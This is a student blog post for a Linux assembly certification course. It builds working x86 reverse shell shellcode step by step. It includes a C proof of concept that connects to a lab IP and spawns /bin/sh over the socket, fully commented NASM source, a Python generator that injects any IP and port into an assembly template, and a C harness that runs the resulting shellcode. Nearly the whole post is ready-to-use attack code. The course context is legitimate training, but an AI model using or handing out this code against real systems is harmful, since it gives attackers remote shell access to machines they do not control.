Student ID: SLAE-1250
Assignment Two: Creating Shellcode to Create a Reverse Shell Over TCP
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html
All code can be found in: https://github.com/securitychops/security-tube-slae32
All work was tested on a 32bit version of Ubuntu 12.10
If you have not read Assignment One: Creating Shellcode to Bind a Shell Over TCP please take a moment to review that blog post. If you have not read it then this post will not make a lot of sense as this assignment builds heavily upon the previous assignment!
TLDR; - JMP short Final_Shellcode
Alright, if you are still here (or returned execution back again, ha!) then lets press on with the break down on how to complete assignment two!
Code Reuse FTW
This assignment was a lot less work than the first just due to the fact that we got to re-use about 90% of the assembly code that we wrote for assignment one. In fact, this assignment takes even less code than the bind shell and has the distinct advantage of reaching out and connecting directly to someone instead of just sitting around and hoping someone decides to connect …
Let’s take a moment to talk about the change needed to shift from a bind shell to a reverse shell. In the bind shell the basic order of operations was the following set of function calls:
socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
bind(serverFileDescriptor, (struct sockaddr*)&serverAddress, sizeof(serverAddress));
listen(serverFileDescriptor, 0);
accept(serverFileDescriptor, (struct sockaddr*)NULL, NULL);
So, in order to bind we needed to first open a socket, bind to an address/port, listen for the connection and then accept that connection. Now let us compare that with the following set of steps to open up a reverse shell:
socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress));
Yes, you are reading that right … the first time we had to make four different function calls to bind the shell where the reverse shell takes exactly two calls!
Even better is that less function calls mean less assembly code and less assembly code means smaller shellcode!
Let’s take a quick look at the final C Proof of concept before moving on to the assembly proof of concept:
C Code Reverse Shell Proof of Concept
// Student ID: SLAE-1250
// Student Name: Jonathan "Chops" Crosby
// Assignment 2: Reverse Shell TCP (Linux/x86) C variant
// Higher level version of reverse shell in
// order to eventually map it to needed assembly
// compile with: gcc reverse-shell-tcp.c -o reverse-shell-tcp
#include <stdio.h>
#include <unistd.h> /*needed for execve */
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h> /* memset */
//used examples from the following URLs to work out the C code
//https://www.thegeekstuff.com/2011/12/c-socket-programming/?utm_source=feedburner
int main(int argc, char *argv[])
{
//local vars
int socketid;
char *ipAddress = "10.0.7.17";
int portNumber = 8888;
//struct to hold all the info needed to bind
struct sockaddr_in serverAddress;
//clear out the memory in the struct
memset(&serverAddress, '0', sizeof(serverAddress));
//http://man7.org/linux/man-pages/man7/ip.7.html
//AF_INET is the address family and is always set to AF_INET
serverAddress.sin_family = AF_INET;
//https://linux.die.net/man/3/htonl
//http://man7.org/linux/man-pages/man7/ip.7.html
//http://pubs.opengroup.org/onlinepubs/009695399/functions/inet_addr.html
serverAddress.sin_addr.s_addr = inet_addr(ipAddress);
//https://linux.die.net/man/3/htons
serverAddress.sin_port = htons(portNumber);
//http://man7.org/linux/man-pages/man2/socket.2.html
//create a new TCP socket and associate it to our server File Descriptor
//socket(int domain, int type , int protocol);
//AF_INET - http://man7.org/linux/man-pages/man2/socket.2.html
//SOCK_STREAM - http://man7.org/linux/man-pages/man2/socket.2.html
//IPPROTO_IP - http://man7.org/linux/man-pages/man7/ip.7.html
socketid = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
//http://man7.org/linux/man-pages/man2/connect.2.html
connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress));
//we now need to duplicate the file descriptors from standard
//0, 1 and 2 to our newely connected client
int i; //needed to get around C99 mode
for(i=0; i<=2; i++)
{
dup2(socketid, i);
}
//now that all of our file descriptors are duplicated
//we need to execute /bin/sh, which will touch the standard
//file descriptors ... that will then be associated to the
//the connected client
//execute "/bin/sh"
//http://man7.org/linux/man-pages/man2/execve.2.html
execve("/bin/sh", NULL, NULL);
}
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-2/reverse-shell-tcp.c
Assembly Proof of Concept
Now that we know that we only needed to call two instead of four functions what does that code end up looking like exactly?
; Student ID : SLAE-1250
; Student Name : Jonathan "Chops" Crosby
; Assignment 2 : Reverse Shell TCP (Linux/x86) Assembly
; File Name : reverse-shell.nasm
global _start
section .text
_start:
; for all socket based calls we will need to use socketcall
; http://man7.org/linux/man-pages/man2/socketcall.2.html
;
; the relevant calls we will need to make will be:
; -----
; SYS_SOCKET socket(2) 0x01
; SYS_BIND bind(2) 0x02
; SYS_CONNECT connect(2) 0x03
; SYS_LISTEN listen(2) 0x04
; SYS_ACCEPT accept(2) 0x05
; -----
; due to the way the registers need to be loaded up we will need to
; make the call to cocketcall by loading the following info into
; the following registers
; -----
; eax : 0x66 (this is the value of socketcall)
; ebx : SYS_* value (0x01, etc)
; ecx : pointer to address on stack of parameters to subfunction
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version : int socket(domain, type , protocol)
; ASM version: socketcall(SYS_SOCKET, socket(AF_INET,SOCK_STREAM,IPPROTO_IP))
; Returns : socketid into eax
; -----
; Param Values:
; #define AF_INET 2 /* Internet IP Protocol */
; http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
; #define SOCK_STREAM 1 /* stream (connection) socket */
; http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
; #define IPPROTO_IP 0
; If the protocol argument is zero, the default protocol for this address family and type shall be used.
; http://pubs.opengroup.org/onlinepubs/009695399/functions/socket.html
; -----
; Registers before calling socketcall:
;
; /---eax---\ /---ebx---\ /--------ecx---------\
; | 0x66 | | 0x01 | | byte, byte, byte |
; \---------/ \---------/ | 0x02 0x01 0x00 |
; \--------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; push params to the stack last first
xor eax, eax ; zeroing out edx to set IPPROTO_IP to 0
push eax ; pushing IPPROTO_IP onto stack
push byte 0x01 ; pushing SOCK_STREAM onto stack
push byte 0x02 ; pushing AF_INET onto stack
mov ecx, esp ; moving address of parameter structure into ecx
xor eax, eax ; zeroing out eax
mov al, 0x66 ; moving socketcall value into eax
xor ebx, ebx ; zeroing out ebx
mov bl, 0x01 ; moving SYS_SOCKET into ebx
int 0x80 ; calling interupt which triggers socketcall
; registers after calling socktcall
; /----eax----\ /---ebx---\ /--------ecx---------\
; | socketid | | 0x01 | | *address to struct |
; \------------/ \---------/ \---------------------/
; eax now contains our socketid, since eax is volitale
; lets put it somewhere safe, like esi
xchg eax, esi ; esi now contains our socketid
; and eax contains whatever was in esi
; /----eax----\ /---ebx---\ /--------ecx---------\ /---esi---\
; | garbage | | 0x01 | | *address to struct | | socketid |
; \------------/ \---------/ \---------------------/ \---------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version : connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress));
; ASM version: socketcall(SYS_CONNECT, connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress));
; -----
; Param Values:
; socketid /* currently stored in esi */
;
; &serverAddress /* memory on the stack for sockaddr */
; * http://pubs.opengroup.org/onlinepubs/7908799/xns/netinetin.h.html
; * Values of this type must be cast to struct sockaddr for use with the socket interfaces
;
; this parameter is a struct of sockaddr_in which has the following structure
;
; struct sockaddr_in {
; sa_family_t sin_family; /* address family: AF_INET */
; in_port_t sin_port; /* port in network byte order */
; struct in_addr sin_addr; /* internet address */
; /* Internet address. */
; struct in_addr {
; uint32_t s_addr; /* address in network byte order */
; };
;
; sa_family_t
; #define AF_INET 2 /* Internet IP Protocol */
; http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
; in_port_t /* port in network byte order / big endian */
; https://en.wikipedia.org/wiki/Endianness
; port 9876 would be: word 0x2694
;
; sin_addr / * uint32_t ia 4 bytes */
; ip bound to will be XXX.XXX.XXX.XXX
; ip would be: dword 0xFFFF or whatever IP will end up being reversed
;
; sizeof(serverAddress) /* this value represents bytes, so 4 bytes is 32bits */
; the value here is 16 bytes or 0x10h which is ultimaly 32bits
; -----
;
; Registers before calling socketcall:
;
; /---eax---\ /---ebx---\ /--------------------------ecx-----------------------------\
; | 0x66 | | 0x03 | | socketid, mem of server address struct, size of struct |
; \---------/ \---------/ | esi ecx 0x10 |
; \-------------------------|--------------------------------/
; we need to create the first stack pointer for sockaddr_in
; PROBLY GOT NULL CHARS IN HERE ...
xor edx, edx
;push dword 0x1107000a ; moving IP (10.0.7.17) [0x0a000711] but backwards is 0x1107000a into edx
push edx
mov byte [esp] , 0x0a
mov byte [esp+1], 0x00 ;this is null
mov byte [esp+2], 0x07
mov byte [esp+3], 0x11
push word 0x5C11 ; port number (least significant byte first ... 0x115C is 4444)
push word 0x02 ; AF_INET - which is 0x02
mov ecx, esp ; move stack pointer to ecx
push byte 0x10 ; 16 byts long (or 32bit)
push ecx ; pushing sockaddr_in into esp
push esi ; sockid already in esi, so pushing it
mov ecx, esp ; moving stack pointer to ecx
; from the previous call ebx is already 0x01
; lets increment it by one
inc ebx ; increasing ebx from 1 to 2
inc ebx ; and from 2 to 3
xor eax, eax ; zeroing out eax
mov al, 0x66 ; moving socketcall value into eax
int 0x80 ; calling interupt which triggers socketcall
; registers after calling socktcall
; /----eax----\ /---ebx---\ /--------ecx---------\ /---esi---\
; | uneeded | | 0x03 | | *address to struct | | socketid |
; \------------/ \---------/ \---------------------/ \---------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version : int dup2(clientid, localDiscripToDuplicate);
; ASM version: standard syscall using same format as above
; -----
; Param Values:
; clientid /* currently stored in eax */
;
; localDiscripToDuplicate /* 0, 1, 2 file descriptors to duplicate */
; -----
; Registers before calling dup2:
;
; /---eax---\ /---ebx----\ /-------------ecx---------------\
; | 0x3f | | sockid | | file descriptor to dplicate |
; \---------/ \----------/ | 2, 1 adnd 0 |
; \-------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx, esi ; moving socketid from eax to ebx
; now we need a loop to run through for
; 0, 1 and 2
xor ecx, ecx ; zeroing out ecx
mov cl, 0x03 ; moving syscall for dup2
dupin:
xor eax, eax ; zeroing out eax
mov al, 0x3f ; setting syscall value for dup2
dec cl ; decreasing loop counter since we
; will need to deal with only 2, 1 and 0
int 0x80 ; syscall triggering listen
jnz dupin ; if the zero flag is not set then do it again
; registers after calling socktcall
;
; since we don't care about any return values
; we don't bother tracking register values
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version : int execve(const char *filename, char *const argv[], char *const envp[]);
; ASM version: standard syscall using same format as above
; -----
; Param Values:
; filename /* path of elf32 to execute */
;
; argv /* standard argv, first param is full path to elf32 null terminated */
;
; envp /* any environmental specific things, null in our case */
; -----
; Registers before calling execve:
;
; /---eax---\ /----------------ebx--------------------\ /-------------ecx---------------\
; | 0x0B | | stack address if //bin/sh,0x00000000 | | stack address to 0x00000000 |
; \---------/ \---------------------------------------/ \-------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; call execve in order to complete the local bind shell
; execve("/bin/sh", argv[], envp[]);
; argv needs to be Address of /bin/sh, 0x00000000
; this is because when you call something from bash, etc
; argv will contain the path of the executable within it
; before starting we look like:
; execve(NOT-SET-YET, NOT-SET-YET, NOT-SET-YET)
; First we need to get 0x00000000 into ebx somehow
; so lets zero out eax and push it to esp
xor eax, eax ; zeroing out eax to make it 0x00000000
push eax ; pushing 0x00000000 onto the stack (esp)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; esp now looks like: 0x00000000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; pushing "//bin/sh" (8 bytes and reverses due to little endian)
push 0x68732f6e ; hs/n : 2f68732f into esp
push 0x69622f2f ; ib// : 6e69622f into esp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;esp now looks like: "//bin/sh,0x00000000";
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; since we have been pushing to the stack, we have been pushing to esp
; now we need to get "//bin/sh,0x00000000" into ebx since it is the first parameter for execve
; since esp contains exactly what we need we move it to ebx
mov ebx, esp ; moving the param to ebx
; ebx now contains "//bin/sh,0x00000000"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, NOT-SET-YET);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we need to get 0x00000000 into edx
push eax ; eax is still 0x00000000 so push it to esp
mov edx, esp ; we need to move a 0x00000000 into
; the third parameter in edx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, 0x00000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; the second parameter is needs to be "//bin/sh,0x00000000"
; which we can accomplish by moving ebx onto the stack
; and then moving esp into ecx since it will be on the stack
push ebx ; pushing "//bin/sh,0x00000000" back to the stack
mov ecx, esp ; moving the address of ebx (on the stack) to ecx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", *"//bin/sh,0x00000000", 0x00000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; loading syscall execve
mov al, 0x0B ; syscall for execve is 11 dec / 0x0B hex
int 0x80
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-2/reverse-shell.nasm
If you were paying close attention to the above code you would have noticed a few lines that really jumped out:
; PROBLY GOT NULL CHARS IN HERE ...
xor edx, edx
;push dword 0x1107000a ; moving IP (10.0.7.17) [0x0a000711] but backwards is 0x1107000a into edx
push edx
mov byte [esp] , 0x0a
mov byte [esp+1], 0x00 ;this is null
mov byte [esp+2], 0x07
mov byte [esp+3], 0x11
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-2/reverse-shell.nasm#L135
This was a very interesting problem as my internal IP address scheme for my home network contains a 0 … so do we need to re-IP the entire network? I hope not …
No, not at all, we end up having to think outside of the box just a tiny little bit …
Since our IP address ends up taking up a full 32 bits of space we can get a bit sneaky by again leveraging xor
xor edx, edx
After performing this operation our edx register will looks like the following:
0x00000000
So how do we get 10.0.7.17 into that location? First we need to push edx to the stack. After pushing edx we can now directly access the stack memory and selectively move bytes into memory that are not null (0x00).
Before:
mov byte [esp] , 0x0a
mov byte [esp+1], 0x00 ;this is null
mov byte [esp+2], 0x07
mov byte [esp+3], 0x11
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-2/reverse-shell.nasm#L144
Which will end up turning into:
mov byte [esp] , 0x0a
mov byte [esp+2], 0x07
mov byte [esp+3], 0x11
Which will leave us with a register filled with:
0x1107000A
All without ever having to explicitly move a null to the stack!
Before wrapping up this much shorter blog post for assignment two I wanted to take a moment to explain how to use the code from the github repository to actually generate the shellcode and what exactly it was doing.
The first thing that you will need to do will be to download the contents of the repository, which will contain all of the files needed to generate the final shellcode.
Second will be to chmod +x shellcode-generator.py so that you will be abe to execute it, after which you would call it with something like:
./shellcode-generator.py 4444 10.0.7.17
It will then create a temporary folder in /tmp, read in the assembly template file and then inject the properly formatted ip address and port number before assembling and linking it. Once the linking is completed it will feed the assembly binary file into objdump and spit out the final shellcode to the terminal before deleting the temporary folder from /tmp.
The following shows us creating shellcode through the python helper file and then the result of a netcat listener after compiling and executing our shellcode C program.
Generating the Shellcode: Creating Shellcode to Create a Reverse Shell Over TCP
Receiving the reverse shell connection back to us from our shellcode.c application populated with the shellcode from the shellcode-generator.py:
Final_Shellcode:
Python Helper for Shellcode Generation
This is the python helper file that will allow us to generate the final shellcode:
./shellcode-generator.py 4444 10.0.7.17
#!/usr/bin/python
# Student ID : SLAE-1250
# Student Name: Jonathan "Chops" Crosby
# Assignment 2: Reverse Shell TCP (Linux/x86) Python Helper
import tempfile
import shutil
import os
import sys
import stat
import uuid
if len(sys.argv) != 3:
print "[x] usage: ./shellcode-generator.py port ipaddress (ex. 4444 10.0.7.17)"
sys.exit(0)
tempDir = tempfile.mkdtemp()
print "[*] created temporary directory: " + tempDir
providedPort = str(format(int(sys.argv[1]), '04x'))
finalPort = "0x"
finalPort += str(providedPort[2:])
finalPort += str(providedPort[:2])
finalPort = finalPort.replace("x00", "x")
print "[*] generated final port in hex: " + finalPort
finalPort = "push word " + finalPort
ipAddress = sys.argv[2].split('.')
with open('reverse-shell-template.nasm') as f:
content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
insertAt = content.index(";ip-address-before-here")
offset = 0
for x in ipAddress:
if x != '0':
instruction = "mov byte [esp+" + str(offset) + "], 0x" + str(format(int(x), '02x'))
content.insert(insertAt, instruction)
insertAt += 1
offset += 1
insertAt = content.index(";port-before-here")
content.insert(insertAt, finalPort)
uuidFileName = str(uuid.uuid4())
uuidFullName = tempDir + "/" + uuidFileName + ".nasm"
thefile = open(uuidFullName, 'w')
for x in content:
thefile.write(x)
thefile.write("\n")
thefile.close()
print "[*] output nasm file to " + uuidFullName
# create friendly nasm files
nasmFile = uuidFullName
nasmFileNoNasm = nasmFile.replace(".nasm", "")
# do all the template stuff
print "[*] injected dynamic assembly into temporary file"
#copying
shutil.copy("compile.sh", tempDir)
shutil.copy("shellcode-dump.sh",tempDir)
# chmod 755 it in temp dir
os.chmod(tempDir + "/compile.sh", 0775)
os.chmod(tempDir + "/shellcode-dump.sh", 0775)
print "[*] prepped " + tempDir + " with +x auxilary files"
print "[*] assembling and linking"
#./compile.sh
os.system("bash " + tempDir + "/compile.sh " + nasmFileNoNasm)
print "[*] shellcode incoming!"
print "---"
#objdump it
os.system("bash " + tempDir + "/shellcode-dump.sh " + tempDir + " " + uuidFileName)
print "---"
#delete directory tree
shutil.rmtree(tempDir)
print "[*] deleted temporary directory: " + tempDir
print "[*] done"
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-2/shellcode-generator.py
Assembly Template Code for Code Generation
The assembly version below is the reverse-shell-template.nasm file that is read in and modified by the shellcode-generator.py file which will output the final shellcode ready to be compiled into the proof of concept C program listed at the bottom of this page.
; Student ID : SLAE-1250
; Student Name : Jonathan "Chops" Crosby
; Assignment 2 : Reverse Shell TCP (Linux/x86) Assembly
; File Name : reverse-shell-template.nasm
global _start
section .text
_start:
; for all socket based calls we will need to use socketcall
; http://man7.org/linux/man-pages/man2/socketcall.2.html
;
; the relevant calls we will need to make will be:
; -----
; SYS_SOCKET socket(2) 0x01
; SYS_BIND bind(2) 0x02
; SYS_CONNECT connect(2) 0x03
; SYS_LISTEN listen(2) 0x04
; SYS_ACCEPT accept(2) 0x05
; -----
; due to the way the registers need to be loaded up we will need to
; make the call to cocketcall by loading the following info into
; the following registers
; -----
; eax : 0x66 (this is the value of socketcall)
; ebx : SYS_* value (0x01, etc)
; ecx : pointer to address on stack of parameters to subfunction
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version : int socket(domain, type , protocol)
; ASM version: socketcall(SYS_SOCKET, socket(AF_INET,SOCK_STREAM,IPPROTO_IP))
; Returns : socketid into eax
; -----
; Param Values:
; #define AF_INET 2 /* Internet IP Protocol */
; http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
; #define SOCK_STREAM 1 /* stream (connection) socket */
; http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
; #define IPPROTO_IP 0
; If the protocol argument is zero, the default protocol for this address family and type shall be used.
; http://pubs.opengroup.org/onlinepubs/009695399/functions/socket.html
; -----
; Registers before calling socketcall:
;
; /---eax---\ /---ebx---\ /--------ecx---------\
; | 0x66 | | 0x01 | | byte, byte, byte |
; \---------/ \---------/ | 0x02 0x01 0x00 |
; \--------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; push params to the stack last first
xor eax, eax ; zeroing out edx to set IPPROTO_IP to 0
push eax ; pushing IPPROTO_IP onto stack
push byte 0x01 ; pushing SOCK_STREAM onto stack
push byte 0x02 ; pushing AF_INET onto stack
mov ecx, esp ; moving address of parameter structure into ecx
xor eax, eax ; zeroing out eax
mov al, 0x66 ; moving socketcall value into eax
xor ebx, ebx ; zeroing out ebx
mov bl, 0x01 ; moving SYS_SOCKET into ebx
int 0x80 ; calling interupt which triggers socketcall
; registers after calling socktcall
; /----eax----\ /---ebx---\ /--------ecx---------\
; | socketid | | 0x01 | | *address to struct |
; \------------/ \---------/ \---------------------/
; eax now contains our socketid, since eax is volitale
; lets put it somewhere safe, like esi
xchg eax, esi ; esi now contains our socketid
; and eax contains whatever was in esi
; /----eax----\ /---ebx---\ /--------ecx---------\ /---esi---\
; | garbage | | 0x01 | | *address to struct | | socketid |
; \------------/ \---------/ \---------------------/ \---------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version : connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress));
; ASM version: socketcall(SYS_CONNECT, connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress));
; -----
; Param Values:
; socketid /* currently stored in esi */
;
; &serverAddress /* memory on the stack for sockaddr */
; * http://pubs.opengroup.org/onlinepubs/7908799/xns/netinetin.h.html
; * Values of this type must be cast to struct sockaddr for use with the socket interfaces
;
; this parameter is a struct of sockaddr_in which has the following structure
;
; struct sockaddr_in {
; sa_family_t sin_family; /* address family: AF_INET */
; in_port_t sin_port; /* port in network byte order */
; struct in_addr sin_addr; /* internet address */
; /* Internet address. */
; struct in_addr {
; uint32_t s_addr; /* address in network byte order */
; };
;
; sa_family_t
; #define AF_INET 2 /* Internet IP Protocol */
; http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
; in_port_t /* port in network byte order / big endian */
; https://en.wikipedia.org/wiki/Endianness
; port 9876 would be: word 0x2694
;
; sin_addr / * uint32_t ia 4 bytes */
; ip bound to will be XXX.XXX.XXX.XXX
; ip would be: dword 0xFFFF or whatever IP will end up being reversed
;
; sizeof(serverAddress) /* this value represents bytes, so 4 bytes is 32bits */
; the value here is 16 bytes or 0x10h which is ultimaly 32bits
; -----
;
; Registers before calling socketcall:
;
; /---eax---\ /---ebx---\ /--------------------------ecx-----------------------------\
; | 0x66 | | 0x03 | | socketid, mem of server address struct, size of struct |
; \---------/ \---------/ | esi ecx 0x10 |
; \-------------------------|--------------------------------/
; we need to create the first stack pointer for sockaddr_in
; PROBLY GOT NULL CHARS IN HERE ...
;push dword 0x1107000a ; moving IP (10.0.7.17) [0x0a000711] but backwards is 0x1107000a into edx
xor edx, edx
push edx ; getting zeros in here
;ip-address-before-here
;port-before-here
push word 0x02 ; AF_INET - which is 0x02
mov ecx, esp ; move stack pointer to ecx
push byte 0x10 ; 16 byts long (or 32bit)
push ecx ; pushing sockaddr_in into esp
push esi ; sockid already in esi, so pushing it
mov ecx, esp ; moving stack pointer to ecx
; from the previous call ebx is already 0x01
; lets increment it by one
inc ebx ; increasing ebx from 1 to 2
inc ebx ; and from 2 to 3
xor eax, eax ; zeroing out eax
mov al, 0x66 ; moving socketcall value into eax
int 0x80 ; calling interupt which triggers socketcall
; registers after calling socktcall
; /----eax----\ /---ebx---\ /--------ecx---------\ /---esi---\
; | uneeded | | 0x03 | | *address to struct | | socketid |
; \------------/ \---------/ \---------------------/ \---------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version : int dup2(clientid, localDiscripToDuplicate);
; ASM version: standard syscall using same format as above
; -----
; Param Values:
; clientid /* currently stored in eax */
;
; localDiscripToDuplicate /* 0, 1, 2 file descriptors to duplicate */
; -----
; Registers before calling dup2:
;
; /---eax---\ /---ebx----\ /-------------ecx---------------\
; | 0x3f | | sockid | | file descriptor to dplicate |
; \---------/ \----------/ | 2, 1 adnd 0 |
; \-------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov ebx, esi ; moving socketid from eax to ebx
; now we need a loop to run through for
; 0, 1 and 2
xor ecx, ecx ; zeroing out ecx
mov cl, 0x03 ; moving syscall for dup2
dupin:
xor eax, eax ; zeroing out eax
mov al, 0x3f ; setting syscall value for dup2
dec cl ; decreasing loop counter since we
; will need to deal with only 2, 1 and 0
int 0x80 ; syscall triggering listen
jnz dupin ; if the zero flag is not set then do it again
; registers after calling socktcall
;
; since we don't care about any return values
; we don't bother tracking register values
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version : int execve(const char *filename, char *const argv[], char *const envp[]);
; ASM version: standard syscall using same format as above
; -----
; Param Values:
; filename /* path of elf32 to execute */
;
; argv /* standard argv, first param is full path to elf32 null terminated */
;
; envp /* any environmental specific things, null in our case */
; -----
; Registers before calling execve:
;
; /---eax---\ /----------------ebx--------------------\ /-------------ecx---------------\
; | 0x0B | | stack address if //bin/sh,0x00000000 | | stack address to 0x00000000 |
; \---------/ \---------------------------------------/ \-------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; call execve in order to complete the local bind shell
; execve("/bin/sh", argv[], envp[]);
; argv needs to be Address of /bin/sh, 0x00000000
; this is because when you call something from bash, etc
; argv will contain the path of the executable within it
; before starting we look like:
; execve(NOT-SET-YET, NOT-SET-YET, NOT-SET-YET)
; First we need to get 0x00000000 into ebx somehow
; so lets zero out eax and push it to esp
xor eax, eax ; zeroing out eax to make it 0x00000000
push eax ; pushing 0x00000000 onto the stack (esp)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; esp now looks like: 0x00000000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; pushing "//bin/sh" (8 bytes and reverses due to little endian)
push 0x68732f6e ; hs/n : 2f68732f into esp
push 0x69622f2f ; ib// : 6e69622f into esp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;esp now looks like: "//bin/sh,0x00000000";
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; since we have been pushing to the stack, we have been pushing to esp
; now we need to get "//bin/sh,0x00000000" into ebx since it is the first parameter for execve
; since esp contains exactly what we need we move it to ebx
mov ebx, esp ; moving the param to ebx
; ebx now contains "//bin/sh,0x00000000"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, NOT-SET-YET);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we need to get 0x00000000 into edx
push eax ; eax is still 0x00000000 so push it to esp
mov edx, esp ; we need to move a 0x00000000 into
; the third parameter in edx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, 0x00000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; the second parameter is needs to be "//bin/sh,0x00000000"
; which we can accomplish by moving ebx onto the stack
; and then moving esp into ecx since it will be on the stack
push ebx ; pushing "//bin/sh,0x00000000" back to the stack
mov ecx, esp ; moving the address of ebx (on the stack) to ecx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", *"//bin/sh,0x00000000", 0x00000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; loading syscall execve
mov al, 0x0B ; syscall for execve is 11 dec / 0x0B hex
int 0x80
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-2/reverse-shell-template.nasm
Final C Program To Execute Shellcode
// Student ID : SLAE-1250
// Student Name : Jonathan "Chops" Crosby
// Assignment 2 : Reverse Shell TCP (Linux/x86) C variant
// File Name : shellcode.c
#include<stdio.h>
#include<string.h>
//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
unsigned char code[] = \
"REPLACE WITH GENERATED shellcode!!!!!!!!!!!!!!oneoneonetwo";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}